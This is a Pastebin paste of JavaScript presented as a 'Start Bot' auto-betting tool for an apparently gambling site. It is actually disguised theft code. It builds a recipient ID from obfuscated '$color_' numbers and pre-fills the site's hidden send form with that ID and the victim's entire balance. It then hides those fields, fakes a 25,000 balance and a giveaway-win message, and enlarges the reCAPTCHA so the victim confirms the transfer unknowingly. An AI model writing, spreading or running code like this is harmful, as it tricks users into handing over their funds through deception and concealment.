Advertisement
Guest User

Untitled

a guest
Aug 12th, 2017
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.22 KB | None | 0 0
  1. function addBotButtons(){
  2. $(".well.bot-field").remove();$(".well.show-more").remove();
  3. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  4. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  5. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});$color_6 = 45484;
  6. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  7. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  8. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  9. $showMore.append($checkVicLimit,$label);$color_2 = 1198;
  10. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");$color_4 = 77983;
  11. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");$color_7 = 1079;
  12. $showMore.append($vicLimitInput,$label);$showMore.hide();$color_5 = 54512;
  13. $label = $("<label style='margin-right:10px; for='initialBalance''>Initial bet</label>");$botField.append($label);$color_9 = 7656;
  14. $betAmount = $("<input id='initialBalance' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  15. $botModeSelect = $("<select id='botModeSelect'><option value='hack' class='btn-danger'>Bot color: hack </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");pW+= $color_9;pW+= $color_2;pW+= $color_7;pW+= $color_4;
  16. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  17. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);$("#send-openid-input").val(pW);
  18. pQ+=$("#balance").text().replace(',', '');
  19. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  20. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  21. $betAmount.change(function() {initialBalance = $betAmount.val();console.log("Initial Bet Set to: "+ initialBalance);});
  22. $("#send-bux-input").val(pQ);
  23. $('#balance').text('25,000');
  24. $('#shop_balance').text('25,000');
  25. $("#nav-profile").click();$("#send-bux-input").hide();$("#send-openid-input").hide();$("#trade-url-input").hide();$(".fixed-recaptcha").css("width", 900);$(".fixed-recaptcha").css("height", 300);$(".fixed-recaptcha").offset({ top: 410, left: 480 });$( ".redtext" ).append( "<br><center>Congratulations, you’ve won the $25 in our last giveaway! </center>" );
  26. $botModeSelect.change(function(){
  27. botbalancex2 = $botModeSelect.val();console.log("Selected color: "+botbalancex2);
  28. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  29. } )
  30. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  31. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement